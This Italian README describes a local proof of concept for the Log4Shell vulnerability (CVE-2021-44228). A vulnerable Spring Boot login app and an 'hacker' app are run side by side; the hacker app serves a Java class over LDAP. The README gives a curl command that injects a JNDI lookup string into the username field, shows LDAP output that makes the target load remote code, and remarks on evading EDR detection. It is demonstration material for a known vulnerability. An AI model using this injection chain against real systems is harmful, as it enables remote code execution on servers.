
log4j2 Log4Shell CVE-2021-44228 prova di concetto
Semplice applicazione Spring Boot che fornisce una pagina di login con nome utente e password. Registra il nome utente quando viene inviato tramite POST a /. Non è necessario che l'applicazione registri alcun input fornito dall'utente. È sufficiente abilitare l'access logging che utilizza una versione vulnerabile di log4j2.
Come eseguire:
cd exploitable
../mvnw -q spring-boot:run
Di default ascolta sulla porta 8080. Se visiti http://localhost:8080/ nel browser dovresti vedere qualcosa come:
In pom.xml noterai la proprietà JVM:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
Questo non è richiesto nelle versioni precedenti di JDK. Il valore predefinito è stato cambiato in false in: JDK 11.0.1, 8u191, 7u201 e 6u211. Anche senza questa proprietà, l'applicazione è vulnerabile a richieste LDAP iniziali che possono esfiltrare dati sensibili.

Applicazione hacker che ha due scopi:
Come eseguire:
cd hacker
../mvnw -q spring-boot:run
In pom.xml puoi cambiare il payload predefinito inviato alle applicazioni exploitable:
--class=SayHello è il valore predefinito e significa che invia SayHello.class come payload.
Invia una richiesta curl all'applicazione vulnerabile facendo riferimento al server LDAP dell'hacker in uno degli input forniti dall'utente (nome utente):
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
Nella console dell'applicazione exploitable dovresti vedere qualcosa come:

${jndi:ldap://127.0.0.1:1389}127.0.0.1:1389dn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.classgetObjectInstance nella classe exploitDopo la richiesta LDAP iniziale e l'eventuale download della classe Java dell'exploit, non è necessario che l'exploit crei un processo figlio o effettui ulteriori connessioni a Internet. Tipicamente questi tipi di exploit possono essere facilmente rilevati da prodotti EDR ecc. Sospetto che i nuovi payload exploit saranno implementati nativamente in Java per eludere il rilevamento.